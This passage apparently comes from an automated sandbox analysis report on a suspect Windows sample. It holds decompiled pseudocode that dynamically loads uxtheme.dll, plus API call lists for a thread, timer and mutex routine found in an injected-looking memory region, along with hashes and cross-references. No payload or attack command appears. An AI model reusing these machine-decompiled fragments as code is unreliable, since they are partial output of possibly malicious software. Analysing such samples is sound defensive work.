						_push(_t37);
						L00386224();
						 *0x3db9f0 = _t37;
						_push("GetThemeSysColor");
						_t38 =  *0x3dba40;
						_push(_t38);
						L00386224();
						 *0x3db9f4 = _t38;
						_push("GetThemeSysColorBrush");
						_t39 =  *0x3dba40;
						_push(_t39);
						L00386224();
						 *0x3db9f8 = _t39;
						_push("GetThemeSysBool");
						_t40 =  *0x3dba40;
						_push(_t40);
						L00386224();
						 *0x3db9fc = _t40;
						_push("GetThemeSysSize");
						_t41 =  *0x3dba40;
						_push(_t41);
						L00386224();
						 *0x3dba00 = _t41;
						_push("GetThemeSysFont");
						_t42 =  *0x3dba40;
						_push(_t42);
						L00386224();
						 *0x3dba04 = _t42;
						_push("GetThemeSysString");
						_t43 =  *0x3dba40;
						_push(_t43);
						L00386224();
						 *0x3dba08 = _t43;
						_push("GetThemeSysInt");
						_t44 =  *0x3dba40;
						_push(_t44);
						L00386224();
						 *0x3dba0c = _t44;
						_push("IsThemeActive");
						_t45 =  *0x3dba40;
						_push(_t45);
						L00386224();
						 *0x3dba10 = _t45;
						_push("IsAppThemed");
						_t46 =  *0x3dba40;
						_push(_t46);
						L00386224();
						 *0x3dba14 = _t46;
						_push("GetWindowTheme");
						_t47 =  *0x3dba40;
						_push(_t47);
						L00386224();
						 *0x3dba18 = _t47;
						_push("EnableThemeDialogTexture");
						_t48 =  *0x3dba40;
						_push(_t48);
						L00386224();
						 *0x3dba1c = _t48;
						_push("IsThemeDialogTextureEnabled");
						_t49 =  *0x3dba40;
						_push(_t49);
						L00386224();
						 *0x3dba20 = _t49;
						_push("GetThemeAppProperties");
						_t50 =  *0x3dba40;
						_push(_t50);
						L00386224();
						 *0x3dba24 = _t50;
						_push("SetThemeAppProperties");
						_t51 =  *0x3dba40;
						_push(_t51);
						L00386224();
						 *0x3dba28 = _t51;
						_push("GetCurrentThemeName");
						_t52 =  *0x3dba40;
						_push(_t52);
						L00386224();
						 *0x3dba2c = _t52;
						_push("GetThemeDocumentationProperty");
						_t53 =  *0x3dba40;
						_push(_t53);
						L00386224();
						 *0x3dba30 = _t53;
						_push("DrawThemeParentBackground");
						_t54 =  *0x3dba40;
						_push(_t54);
						L00386224();
						 *0x3dba34 = _t54;
						_push("EnableTheming");
						_t55 =  *0x3dba40;
						_push(_t55);
						L00386224();
						 *0x3dba38 = _t55;
					}
				}
				_v5 =  *0x3dba40 > 0;
				_pop(_t61);
				 *[fs:eax] = _t61;
				_push(0x3a77f6);
				_t6 =  *0x3dba48; // 0x2140de4
				return E003A723C(_t6);
			}

0x003a7446
0x003a744b
0x003a7452
0x003a7453
0x003a7458
0x003a745b
0x003a745e
0x003a7467
0x003a7477
0x003a747c
0x003a7482
0x003a7487
0x003a7489
0x003a748a
0x003a748f
0x003a7494
0x003a7499
0x003a749b
0x003a749c
0x003a74a1
0x003a74a6
0x003a74ab
0x003a74ad
0x003a74ae
0x003a74b3
0x003a74b8
0x003a74bd
0x003a74bf
0x003a74c0
0x003a74c5
0x003a74ca
0x003a74cf
0x003a74d1
0x003a74d2
0x003a74d7
0x003a74dc
0x003a74e1
0x003a74e3
0x003a74e4
0x003a74e9
0x003a74ee
0x003a74f3
0x003a74f5
0x003a74f6
0x003a74fb
0x003a7500
0x003a7505
0x003a7507
0x003a7508
0x003a750d
0x003a7512
0x003a7517
0x003a7519
0x003a751a
0x003a751f
0x003a7524
0x003a7529
0x003a752b
0x003a752c
0x003a7531
0x003a7536
0x003a753b
0x003a753d
0x003a753e
0x003a7543
0x003a7548
0x003a754d
0x003a754f
0x003a7550
0x003a7555
0x003a755a
0x003a755f
0x003a7561
0x003a7562
0x003a7567
0x003a756c
0x003a7571
0x003a7573
0x003a7574
0x003a7579
0x003a757e
0x003a7583
0x003a7585
0x003a7586
0x003a758b
0x003a7590
0x003a7595
0x003a7597
0x003a7598
0x003a759d
0x003a75a2
0x003a75a7
0x003a75a9
0x003a75aa
0x003a75af
0x003a75b4
0x003a75b9
0x003a75bb
0x003a75bc
0x003a75c1
0x003a75c6
0x003a75cb
0x003a75cd
0x003a75ce
0x003a75d3
0x003a75d8
0x003a75dd
0x003a75df
0x003a75e0
0x003a75e5
0x003a75ea
0x003a75ef
0x003a75f1
0x003a75f2
0x003a75f7
0x003a75fc
0x003a7601
0x003a7603
0x003a7604
0x003a7609
0x003a760e
0x003a7613
0x003a7615
0x003a7616
0x003a761b
0x003a7620
0x003a7625
0x003a7627
0x003a7628
0x003a762d
0x003a7632
0x003a7637
0x003a7639
0x003a763a
0x003a763f
0x003a7644
0x003a7649
0x003a764b
0x003a764c
0x003a7651
0x003a7656
0x003a765b
0x003a765d
0x003a765e
0x003a7663
0x003a7668
0x003a766d
0x003a766f
0x003a7670
0x003a7675
0x003a767a
0x003a767f
0x003a7681
0x003a7682
0x003a7687
0x003a768c
0x003a7691
0x003a7693
0x003a7694
0x003a7699
0x003a769e
0x003a76a3
0x003a76a5
0x003a76a6
0x003a76ab
0x003a76b0
0x003a76b5
0x003a76b7
0x003a76b8
0x003a76bd
0x003a76c2
0x003a76c7
0x003a76c9
0x003a76ca
0x003a76cf
0x003a76d4
0x003a76d9
0x003a76db
0x003a76dc
0x003a76e1
0x003a76e6
0x003a76eb
0x003a76ed
0x003a76ee
0x003a76f3
0x003a76f8
0x003a76fd
0x003a76ff
0x003a7700
0x003a7705
0x003a770a
0x003a770f
0x003a7711
0x003a7712
0x003a7717
0x003a771c
0x003a7721
0x003a7723
0x003a7724
0x003a7729
0x003a772e
0x003a7733
0x003a7735
0x003a7736
0x003a773b
0x003a7740
0x003a7745
0x003a7747
0x003a7748
0x003a774d
0x003a7752
0x003a7757
0x003a7759
0x003a775a
0x003a775f
0x003a7764
0x003a7769
0x003a776b
0x003a776c
0x003a7771
0x003a7776
0x003a777b
0x003a777d
0x003a777e
0x003a7783
0x003a7788
0x003a778d
0x003a778f
0x003a7790
0x003a7795
0x003a779a
0x003a779f
0x003a77a1
0x003a77a2
0x003a77a7
0x003a77ac
0x003a77b1
0x003a77b3
0x003a77b4
0x003a77b9
0x003a77be
0x003a77c3
0x003a77c5
0x003a77c6
0x003a77cb
0x003a77cb
0x003a747c
0x003a77d3
0x003a77d9
0x003a77dc
0x003a77df
0x003a77e4
0x003a77ee

APIs

LoadLibraryA.KERNEL32(uxtheme.dll), ref: 003A7472
70D9FFF6.KERNEL32(00000000,OpenThemeData,uxtheme.dll,00000000,003A77EF), ref: 003A748A
70D9FFF6.KERNEL32(00000000,CloseThemeData,00000000,OpenThemeData,uxtheme.dll,00000000,003A77EF), ref: 003A749C
70D9FFF6.KERNEL32(00000000,DrawThemeBackground,00000000,CloseThemeData,00000000,OpenThemeData,uxtheme.dll,00000000,003A77EF), ref: 003A74AE
70D9FFF6.KERNEL32(00000000,DrawThemeText,00000000,DrawThemeBackground,00000000,CloseThemeData,00000000,OpenThemeData,uxtheme.dll,00000000,003A77EF), ref: 003A74C0
70D9FFF6.KERNEL32(00000000,GetThemeBackgroundContentRect,00000000,DrawThemeText,00000000,DrawThemeBackground,00000000,CloseThemeData,00000000,OpenThemeData,uxtheme.dll,00000000,003A77EF), ref: 003A74D2
70D9FFF6.KERNEL32(00000000,GetThemeBackgroundContentRect,00000000,GetThemeBackgroundContentRect,00000000,DrawThemeText,00000000,DrawThemeBackground,00000000,CloseThemeData,00000000,OpenThemeData,uxtheme.dll,00000000,003A77EF), ref: 003A74E4
70D9FFF6.KERNEL32(00000000,GetThemePartSize,00000000,GetThemeBackgroundContentRect,00000000,GetThemeBackgroundContentRect,00000000,DrawThemeText,00000000,DrawThemeBackground,00000000,CloseThemeData,00000000,OpenThemeData,uxtheme.dll,00000000), ref: 003A74F6
70D9FFF6.KERNEL32(00000000,GetThemeTextExtent,00000000,GetThemePartSize,00000000,GetThemeBackgroundContentRect,00000000,GetThemeBackgroundContentRect,00000000,DrawThemeText,00000000,DrawThemeBackground,00000000,CloseThemeData,00000000,OpenThemeData), ref: 003A7508
70D9FFF6.KERNEL32(00000000,GetThemeTextMetrics,00000000,GetThemeTextExtent,00000000,GetThemePartSize,00000000,GetThemeBackgroundContentRect,00000000,GetThemeBackgroundContentRect,00000000,DrawThemeText,00000000,DrawThemeBackground,00000000,CloseThemeData), ref: 003A751A
70D9FFF6.KERNEL32(00000000,GetThemeBackgroundRegion,00000000,GetThemeTextMetrics,00000000,GetThemeTextExtent,00000000,GetThemePartSize,00000000,GetThemeBackgroundContentRect,00000000,GetThemeBackgroundContentRect,00000000,DrawThemeText,00000000,DrawThemeBackground), ref: 003A752C
70D9FFF6.KERNEL32(00000000,HitTestThemeBackground,00000000,GetThemeBackgroundRegion,00000000,GetThemeTextMetrics,00000000,GetThemeTextExtent,00000000,GetThemePartSize,00000000,GetThemeBackgroundContentRect,00000000,GetThemeBackgroundContentRect,00000000,DrawThemeText), ref: 003A753E
70D9FFF6.KERNEL32(00000000,DrawThemeEdge,00000000,HitTestThemeBackground,00000000,GetThemeBackgroundRegion,00000000,GetThemeTextMetrics,00000000,GetThemeTextExtent,00000000,GetThemePartSize,00000000,GetThemeBackgroundContentRect,00000000,GetThemeBackgroundContentRect), ref: 003A7550
70D9FFF6.KERNEL32(00000000,DrawThemeIcon,00000000,DrawThemeEdge,00000000,HitTestThemeBackground,00000000,GetThemeBackgroundRegion,00000000,GetThemeTextMetrics,00000000,GetThemeTextExtent,00000000,GetThemePartSize,00000000,GetThemeBackgroundContentRect), ref: 003A7562
70D9FFF6.KERNEL32(00000000,IsThemePartDefined,00000000,DrawThemeIcon,00000000,DrawThemeEdge,00000000,HitTestThemeBackground,00000000,GetThemeBackgroundRegion,00000000,GetThemeTextMetrics,00000000,GetThemeTextExtent,00000000,GetThemePartSize), ref: 003A7574
70D9FFF6.KERNEL32(00000000,IsThemeBackgroundPartiallyTransparent,00000000,IsThemePartDefined,00000000,DrawThemeIcon,00000000,DrawThemeEdge,00000000,HitTestThemeBackground,00000000,GetThemeBackgroundRegion,00000000,GetThemeTextMetrics,00000000,GetThemeTextExtent), ref: 003A7586
70D9FFF6.KERNEL32(00000000,GetThemeColor,00000000,IsThemeBackgroundPartiallyTransparent,00000000,IsThemePartDefined,00000000,DrawThemeIcon,00000000,DrawThemeEdge,00000000,HitTestThemeBackground,00000000,GetThemeBackgroundRegion,00000000,GetThemeTextMetrics), ref: 003A7598
70D9FFF6.KERNEL32(00000000,GetThemeMetric,00000000,GetThemeColor,00000000,IsThemeBackgroundPartiallyTransparent,00000000,IsThemePartDefined,00000000,DrawThemeIcon,00000000,DrawThemeEdge,00000000,HitTestThemeBackground,00000000,GetThemeBackgroundRegion), ref: 003A75AA
70D9FFF6.KERNEL32(00000000,GetThemeString,00000000,GetThemeMetric,00000000,GetThemeColor,00000000,IsThemeBackgroundPartiallyTransparent,00000000,IsThemePartDefined,00000000,DrawThemeIcon,00000000,DrawThemeEdge,00000000,HitTestThemeBackground), ref: 003A75BC
70D9FFF6.KERNEL32(00000000,GetThemeBool,00000000,GetThemeString,00000000,GetThemeMetric,00000000,GetThemeColor,00000000,IsThemeBackgroundPartiallyTransparent,00000000,IsThemePartDefined,00000000,DrawThemeIcon,00000000,DrawThemeEdge), ref: 003A75CE
70D9FFF6.KERNEL32(00000000,GetThemeInt,00000000,GetThemeBool,00000000,GetThemeString,00000000,GetThemeMetric,00000000,GetThemeColor,00000000,IsThemeBackgroundPartiallyTransparent,00000000,IsThemePartDefined,00000000,DrawThemeIcon), ref: 003A75E0
70D9FFF6.KERNEL32(00000000,GetThemeEnumValue,00000000,GetThemeInt,00000000,GetThemeBool,00000000,GetThemeString,00000000,GetThemeMetric,00000000,GetThemeColor,00000000,IsThemeBackgroundPartiallyTransparent,00000000,IsThemePartDefined), ref: 003A75F2
70D9FFF6.KERNEL32(00000000,GetThemePosition,00000000,GetThemeEnumValue,00000000,GetThemeInt,00000000,GetThemeBool,00000000,GetThemeString,00000000,GetThemeMetric,00000000,GetThemeColor,00000000,IsThemeBackgroundPartiallyTransparent), ref: 003A7604
70D9FFF6.KERNEL32(00000000,GetThemeFont,00000000,GetThemePosition,00000000,GetThemeEnumValue,00000000,GetThemeInt,00000000,GetThemeBool,00000000,GetThemeString,00000000,GetThemeMetric,00000000,GetThemeColor), ref: 003A7616
70D9FFF6.KERNEL32(00000000,GetThemeRect,00000000,GetThemeFont,00000000,GetThemePosition,00000000,GetThemeEnumValue,00000000,GetThemeInt,00000000,GetThemeBool,00000000,GetThemeString,00000000,GetThemeMetric), ref: 003A7628
70D9FFF6.KERNEL32(00000000,GetThemeMargins,00000000,GetThemeRect,00000000,GetThemeFont,00000000,GetThemePosition,00000000,GetThemeEnumValue,00000000,GetThemeInt,00000000,GetThemeBool,00000000,GetThemeString), ref: 003A763A
70D9FFF6.KERNEL32(00000000,GetThemeIntList,00000000,GetThemeMargins,00000000,GetThemeRect,00000000,GetThemeFont,00000000,GetThemePosition,00000000,GetThemeEnumValue,00000000,GetThemeInt,00000000,GetThemeBool), ref: 003A764C
70D9FFF6.KERNEL32(00000000,GetThemePropertyOrigin,00000000,GetThemeIntList,00000000,GetThemeMargins,00000000,GetThemeRect,00000000,GetThemeFont,00000000,GetThemePosition,00000000,GetThemeEnumValue,00000000,GetThemeInt), ref: 003A765E
70D9FFF6.KERNEL32(00000000,SetWindowTheme,00000000,GetThemePropertyOrigin,00000000,GetThemeIntList,00000000,GetThemeMargins,00000000,GetThemeRect,00000000,GetThemeFont,00000000,GetThemePosition,00000000,GetThemeEnumValue), ref: 003A7670
70D9FFF6.KERNEL32(00000000,GetThemeFilename,00000000,SetWindowTheme,00000000,GetThemePropertyOrigin,00000000,GetThemeIntList,00000000,GetThemeMargins,00000000,GetThemeRect,00000000,GetThemeFont,00000000,GetThemePosition), ref: 003A7682
70D9FFF6.KERNEL32(00000000,GetThemeSysColor,00000000,GetThemeFilename,00000000,SetWindowTheme,00000000,GetThemePropertyOrigin,00000000,GetThemeIntList,00000000,GetThemeMargins,00000000,GetThemeRect,00000000,GetThemeFont), ref: 003A7694
70D9FFF6.KERNEL32(00000000,GetThemeSysColorBrush,00000000,GetThemeSysColor,00000000,GetThemeFilename,00000000,SetWindowTheme,00000000,GetThemePropertyOrigin,00000000,GetThemeIntList,00000000,GetThemeMargins,00000000,GetThemeRect), ref: 003A76A6
70D9FFF6.KERNEL32(00000000,GetThemeSysBool,00000000,GetThemeSysColorBrush,00000000,GetThemeSysColor,00000000,GetThemeFilename,00000000,SetWindowTheme,00000000,GetThemePropertyOrigin,00000000,GetThemeIntList,00000000,GetThemeMargins), ref: 003A76B8
70D9FFF6.KERNEL32(00000000,GetThemeSysSize,00000000,GetThemeSysBool,00000000,GetThemeSysColorBrush,00000000,GetThemeSysColor,00000000,GetThemeFilename,00000000,SetWindowTheme,00000000,GetThemePropertyOrigin,00000000,GetThemeIntList), ref: 003A76CA
70D9FFF6.KERNEL32(00000000,GetThemeSysFont,00000000,GetThemeSysSize,00000000,GetThemeSysBool,00000000,GetThemeSysColorBrush,00000000,GetThemeSysColor,00000000,GetThemeFilename,00000000,SetWindowTheme,00000000,GetThemePropertyOrigin), ref: 003A76DC
70D9FFF6.KERNEL32(00000000,GetThemeSysString,00000000,GetThemeSysFont,00000000,GetThemeSysSize,00000000,GetThemeSysBool,00000000,GetThemeSysColorBrush,00000000,GetThemeSysColor,00000000,GetThemeFilename,00000000,SetWindowTheme), ref: 003A76EE
70D9FFF6.KERNEL32(00000000,GetThemeSysInt,00000000,GetThemeSysString,00000000,GetThemeSysFont,00000000,GetThemeSysSize,00000000,GetThemeSysBool,00000000,GetThemeSysColorBrush,00000000,GetThemeSysColor,00000000,GetThemeFilename), ref: 003A7700
70D9FFF6.KERNEL32(00000000,IsThemeActive,00000000,GetThemeSysInt,00000000,GetThemeSysString,00000000,GetThemeSysFont,00000000,GetThemeSysSize,00000000,GetThemeSysBool,00000000,GetThemeSysColorBrush,00000000,GetThemeSysColor), ref: 003A7712
70D9FFF6.KERNEL32(00000000,IsAppThemed,00000000,IsThemeActive,00000000,GetThemeSysInt,00000000,GetThemeSysString,00000000,GetThemeSysFont,00000000,GetThemeSysSize,00000000,GetThemeSysBool,00000000,GetThemeSysColorBrush), ref: 003A7724
70D9FFF6.KERNEL32(00000000,GetWindowTheme,00000000,IsAppThemed,00000000,IsThemeActive,00000000,GetThemeSysInt,00000000,GetThemeSysString,00000000,GetThemeSysFont,00000000,GetThemeSysSize,00000000,GetThemeSysBool), ref: 003A7736
70D9FFF6.KERNEL32(00000000,EnableThemeDialogTexture,00000000,GetWindowTheme,00000000,IsAppThemed,00000000,IsThemeActive,00000000,GetThemeSysInt,00000000,GetThemeSysString,00000000,GetThemeSysFont,00000000,GetThemeSysSize), ref: 003A7748
70D9FFF6.KERNEL32(00000000,IsThemeDialogTextureEnabled,00000000,EnableThemeDialogTexture,00000000,GetWindowTheme,00000000,IsAppThemed,00000000,IsThemeActive,00000000,GetThemeSysInt,00000000,GetThemeSysString,00000000,GetThemeSysFont), ref: 003A775A
70D9FFF6.KERNEL32(00000000,GetThemeAppProperties,00000000,IsThemeDialogTextureEnabled,00000000,EnableThemeDialogTexture,00000000,GetWindowTheme,00000000,IsAppThemed,00000000,IsThemeActive,00000000,GetThemeSysInt,00000000,GetThemeSysString), ref: 003A776C
70D9FFF6.KERNEL32(00000000,SetThemeAppProperties,00000000,GetThemeAppProperties,00000000,IsThemeDialogTextureEnabled,00000000,EnableThemeDialogTexture,00000000,GetWindowTheme,00000000,IsAppThemed,00000000,IsThemeActive,00000000,GetThemeSysInt), ref: 003A777E
70D9FFF6.KERNEL32(00000000,GetCurrentThemeName,00000000,SetThemeAppProperties,00000000,GetThemeAppProperties,00000000,IsThemeDialogTextureEnabled,00000000,EnableThemeDialogTexture,00000000,GetWindowTheme,00000000,IsAppThemed,00000000,IsThemeActive), ref: 003A7790
70D9FFF6.KERNEL32(00000000,GetThemeDocumentationProperty,00000000,GetCurrentThemeName,00000000,SetThemeAppProperties,00000000,GetThemeAppProperties,00000000,IsThemeDialogTextureEnabled,00000000,EnableThemeDialogTexture,00000000,GetWindowTheme,00000000,IsAppThemed), ref: 003A77A2
70D9FFF6.KERNEL32(00000000,DrawThemeParentBackground,00000000,GetThemeDocumentationProperty,00000000,GetCurrentThemeName,00000000,SetThemeAppProperties,00000000,GetThemeAppProperties,00000000,IsThemeDialogTextureEnabled,00000000,EnableThemeDialogTexture,00000000,GetWindowTheme), ref: 003A77B4
70D9FFF6.KERNEL32(00000000,EnableTheming,00000000,DrawThemeParentBackground,00000000,GetThemeDocumentationProperty,00000000,GetCurrentThemeName,00000000,SetThemeAppProperties,00000000,GetThemeAppProperties,00000000,IsThemeDialogTextureEnabled,00000000,EnableThemeDialogTexture), ref: 003A77C6

Strings

GetThemeBool, xrefs: 003A75C6
GetThemeSysSize, xrefs: 003A76C2
GetThemeSysString, xrefs: 003A76E6
HitTestThemeBackground, xrefs: 003A7536
GetThemeSysColor, xrefs: 003A768C
GetThemeMargins, xrefs: 003A7632
IsThemeActive, xrefs: 003A770A
GetThemeSysFont, xrefs: 003A76D4
SetThemeAppProperties, xrefs: 003A7776
DrawThemeParentBackground, xrefs: 003A77AC
GetThemeFilename, xrefs: 003A767A
GetThemeColor, xrefs: 003A7590
GetThemeMetric, xrefs: 003A75A2
GetThemeBackgroundRegion, xrefs: 003A7524
GetThemePosition, xrefs: 003A75FC
SetWindowTheme, xrefs: 003A7668
GetThemeTextMetrics, xrefs: 003A7512
GetThemeSysBool, xrefs: 003A76B0
GetThemeInt, xrefs: 003A75D8
DrawThemeIcon, xrefs: 003A755A
OpenThemeData, xrefs: 003A7482
GetThemeIntList, xrefs: 003A7644
IsAppThemed, xrefs: 003A771C
GetThemeDocumentationProperty, xrefs: 003A779A
GetThemeFont, xrefs: 003A760E
CloseThemeData, xrefs: 003A7494
GetThemeEnumValue, xrefs: 003A75EA
GetThemePartSize, xrefs: 003A74EE
IsThemeDialogTextureEnabled, xrefs: 003A7752
DrawThemeBackground, xrefs: 003A74A6
GetWindowTheme, xrefs: 003A772E
GetThemeAppProperties, xrefs: 003A7764
GetThemeString, xrefs: 003A75B4
GetThemeTextExtent, xrefs: 003A7500
IsThemeBackgroundPartiallyTransparent, xrefs: 003A757E
GetThemePropertyOrigin, xrefs: 003A7656
uxtheme.dll, xrefs: 003A746D
GetThemeRect, xrefs: 003A7620
DrawThemeText, xrefs: 003A74B8
GetThemeBackgroundContentRect, xrefs: 003A74CA, 003A74DC
DrawThemeEdge, xrefs: 003A7548
IsThemePartDefined, xrefs: 003A756C
GetThemeSysColorBrush, xrefs: 003A769E
GetThemeSysInt, xrefs: 003A76F8
EnableThemeDialogTexture, xrefs: 003A7740
GetCurrentThemeName, xrefs: 003A7788
EnableTheming, xrefs: 003A77BE

Memory Dump Source

Source File: 00000004.00000002.2415833035.0000000000381000.00000020.00020000.sdmp, Offset: 00380000, based on PE: true

Associated: 00000004.00000002.2415819778.0000000000380000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.2415887998.00000000003D9000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.2415915305.00000000003DD000.00000008.00020000.sdmp Download File
Associated: 00000004.00000002.2415927372.00000000003DF000.00000002.00020000.sdmp Download File

Similarity

API ID: LibraryLoad
String ID: CloseThemeData$DrawThemeBackground$DrawThemeEdge$DrawThemeIcon$DrawThemeParentBackground$DrawThemeText$EnableThemeDialogTexture$EnableTheming$GetCurrentThemeName$GetThemeAppProperties$GetThemeBackgroundContentRect$GetThemeBackgroundRegion$GetThemeBool$GetThemeColor$GetThemeDocumentationProperty$GetThemeEnumValue$GetThemeFilename$GetThemeFont$GetThemeInt$GetThemeIntList$GetThemeMargins$GetThemeMetric$GetThemePartSize$GetThemePosition$GetThemePropertyOrigin$GetThemeRect$GetThemeString$GetThemeSysBool$GetThemeSysColor$GetThemeSysColorBrush$GetThemeSysFont$GetThemeSysInt$GetThemeSysSize$GetThemeSysString$GetThemeTextExtent$GetThemeTextMetrics$GetWindowTheme$HitTestThemeBackground$IsAppThemed$IsThemeActive$IsThemeBackgroundPartiallyTransparent$IsThemeDialogTextureEnabled$IsThemePartDefined$OpenThemeData$SetThemeAppProperties$SetWindowTheme$uxtheme.dll
API String ID: 1029625771-2910565190
Opcode ID: afab63de4a78d23a68f48cf9e3186f7fb6195b72c9a1f189e2d4ebb62730b9c9
Instruction ID: 49da221535bf084762cc2a3137f1e79de682ac7b9a59f187bc9ab078fb1ac88e
Opcode Fuzzy Hash: afab63de4a78d23a68f48cf9e3186f7fb6195b72c9a1f189e2d4ebb62730b9c9
Instruction Fuzzy Hash: B1A12EB0A46794ABDB13EBB4FCD796ABBACEB06700B0119AAF501CF355D7749800CB51

Uniqueness

Uniqueness Score: -1.00%

Function 0235E720, Relevance: 62.0, APIs: 41, Instructions: 453synchronizationtimethreadCOMMON

Download Yara Rule

APIs

Part of subcall function 023574CA: WaitForMultipleObjects.KERNEL32(00000002,?,00000000,000000FF), ref: 023574FE
Part of subcall function 023574CA: GetLastError.KERNEL32(?), ref: 023575BF
Part of subcall function 023574CA: ReleaseMutex.KERNEL32(00000000), ref: 023575C8

WaitForMultipleObjects.KERNEL32(00000002,?,00000000,000000FF), ref: 0235E7C0

Part of subcall function 02352768: OpenWaitableTimerA.KERNEL32(00100002,00000000,?), ref: 02352782
Part of subcall function 02352768: CreateWaitableTimerA.KERNEL32(02367160,00000001,?), ref: 0235279F
Part of subcall function 02352768: GetLastError.KERNEL32(?,00000000,0235162F,00000000,00000000,0000801C,?,?,00000000,?,00000001,?,00000000,?,?,?), ref: 023527B0
Part of subcall function 02352768: GetSystemTimeAsFileTime.KERNEL32(00000000,00000000,00000000,?,?,00000000,0235162F,00000000,00000000,0000801C), ref: 023527F0
Part of subcall function 02352768: SetWaitableTimer.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,?,00000000,0235162F,00000000,00000000,0000801C), ref: 0235280F
Part of subcall function 02352768: HeapFree.KERNEL32(00000000,00000000,00000000), ref: 02352825

WaitForMultipleObjects.KERNEL32(00000002,?,00000000,000000FF), ref: 0235E825
StrChrA.SHLWAPI(00000000,0000007C), ref: 0235E8B4
StrTrimA.SHLWAPI(00000000,0A0D0920), ref: 0235E8D6
StrChrA.SHLWAPI(00000000,0000003D), ref: 0235E8DB
StrTrimA.SHLWAPI(00000001,0A0D0920), ref: 0235E8FE
StrTrimA.SHLWAPI(00000000,0A0D0920), ref: 0235E90D
_strupr.NTDLL ref: 0235E910
lstrlen.KERNEL32(00000000,00000000), ref: 0235E919

Part of subcall function 02349C39: RtlAllocateHeap.NTDLL(00000000,00000010), ref: 02349C5B
Part of subcall function 02349C39: HeapFree.KERNEL32(00000000,00000000,00000129), ref: 02349C8C

Part of subcall function 0234753B: HeapFree.KERNEL32(00000000,?), ref: 023475DE
Part of subcall function 0234753B: GetCurrentThreadId.KERNEL32(?,?,00000000,?), ref: 02347684
Part of subcall function 0234753B: GetCurrentThread.KERNEL32 ref: 02347695

CreateEventA.KERNEL32(00000000,00000001,00000000,00000000), ref: 0235E970
CloseHandle.KERNEL32(?), ref: 0235ECA2

Part of subcall function 02342A10: RegCreateKeyA.ADVAPI32(80000001,?,?), ref: 02342A25
Part of subcall function 02342A10: lstrlen.KERNEL32(?,00000000,00000000,?,?,?,00000000,?,?,?,0234191D,00000000,?), ref: 02342A53

WaitForMultipleObjects.KERNEL32(00008019,?,00000000,000000FF), ref: 0235EA16
WaitForSingleObject.KERNEL32(?,00000000), ref: 0235EA4D
WaitForSingleObject.KERNEL32(?,00000000), ref: 0235EA5C
_allmul.NTDLL(00000000,FF676980,000000FF), ref: 0235EA8A
SetWaitableTimer.KERNEL32(?,?,00000000,00000000,00000000,00000000,00000000,FF676980,000000FF), ref: 0235EAA4
_allmul.NTDLL(0000012C,00000000,FF676980,000000FF), ref: 0235EAEC
SetWaitableTimer.KERNEL32(00000000,?,00000000,00000000,00000000,00000000,0000012C,00000000,FF676980,000000FF), ref: 0235EB06
WaitForMultipleObjects.KERNEL32(00000002,?,00000000,000000FF), ref: 0235EB1C
ReleaseMutex.KERNEL32(?), ref: 0235EB3B
WaitForSingleObject.KERNEL32(?,00000000), ref: 0235EB4C
WaitForSingleObject.KERNEL32(?,00000000), ref: 0235EB5B
_allmul.NTDLL(00000000,FF676980,000000FF), ref: 0235EB90
SetWaitableTimer.KERNEL32(?,?,00000000,00000000,00000000,00000000,00000000,FF676980,000000FF), ref: 0235EBAA
SwitchToThread.KERNEL32 ref: 0235EBAC
ReleaseMutex.KERNEL32(?), ref: 0235EBB6
WaitForSingleObject.KERNEL32(?,00000000), ref: 0235EBEE
WaitForSingleObject.KERNEL32(?,00000000), ref: 0235EBF9
_allmul.NTDLL(00000000,FF676980,000000FF), ref: 0235EC1D
SetWaitableTimer.KERNEL32(?,?,00000000,00000000,00000000,00000000,00000000,FF676980,000000FF), ref: 0235EC37
SwitchToThread.KERNEL32 ref: 0235EC39
ReleaseMutex.KERNEL32(?), ref: 0235EC43
WaitForSingleObject.KERNEL32(?,00000000), ref: 0235EC58
CloseHandle.KERNEL32(?), ref: 0235ECB6
CloseHandle.KERNEL32(?), ref: 0235ECC2
CloseHandle.KERNEL32(?), ref: 0235ECCE
CloseHandle.KERNEL32(?), ref: 0235ECDA
CloseHandle.KERNEL32(?), ref: 0235ECE6
CloseHandle.KERNEL32(?), ref: 0235ECF2
CloseHandle.KERNEL32(?), ref: 0235ECFE
RtlExitUserThread.NTDLL(?), ref: 0235ED10

Memory Dump Source

Source File: 00000004.00000002.2416709074.0000000002340000.00000040.00000001.sdmp, Offset: 02340000, based on PE: false

Yara matches

Similarity

API ID: Wait$CloseHandle$ObjectSingleTimerWaitable$MultipleObjectsThread$HeapMutexRelease_allmul$CreateFreeTrim$CurrentErrorLastSwitchTimelstrlen$AllocateEventExitFileOpenSystemUser_strupr
String ID:
API String ID: 1948779846-0
Opcode ID: 30c98896da5230851787b8760a0486c76837993474a80dc93668e2bf41e72c89
Instruction ID: af11eb82b612c659c17380e4c2b5e4e2d80f575ddf63103a5feafc783f9aa3dc
Opcode Fuzzy Hash: 30c98896da5230851787b8760a0486c76837993474a80dc93668e2bf41e72c89
Instruction Fuzzy Hash: 32F19CB1808355AFD7119F64DC88D2BBBEDFB84358F008E2EF99992190D735D9548F22

Uniqueness

Uniqueness Score: -1.00%

Function 0235AEAF, Relevance: 61.6, APIs: 28, Strings: 7, Instructions: 393memorysynchronizationstringCOMMON

Download Yara Rule

APIs

WaitForSingleObject.KERNEL32(?,000000FF), ref: 0235AED6
memcpy.NTDLL(?,?,00000010), ref: 0235AEF9
memset.NTDLL ref: 0235AF45
lstrcpyn.KERNEL32(?,?,00000034), ref: 0235AF59
GetLastError.KERNEL32 ref: 0235AF84
GetLastError.KERNEL32 ref: 0235AFCB
GetLastError.KERNEL32 ref: 0235AFEA
WaitForSingleObject.KERNEL32(?,000927C0), ref: 0235B024
WaitForSingleObject.KERNEL32(?,00000000), ref: 0235B032
GetLastError.KERNEL32 ref: 0235B0AC
ReleaseMutex.KERNEL32(?), ref: 0235B0BE
RtlExitUserThread.NTDLL(?), ref: 0235B0D4
GetLastError.KERNEL32 ref: 0235B0FD
RtlAllocateHeap.NTDLL(00000000,?), ref: 0235B117
GetLastError.KERNEL32 ref: 0235B16F
HeapFree.KERNEL32(00000000,00000000), ref: 0235B182
RtlAllocateHeap.NTDLL(00000000,?), ref: 0235B198
GetLastError.KERNEL32 ref: 0235B1B4
GetLastError.KERNEL32 ref: 0235B1EE
HeapFree.KERNEL32(00000000,00000000), ref: 0235B20A
lstrlenW.KERNEL32 ref: 0235B231
RtlAllocateHeap.NTDLL(00000000,?), ref: 0235B247
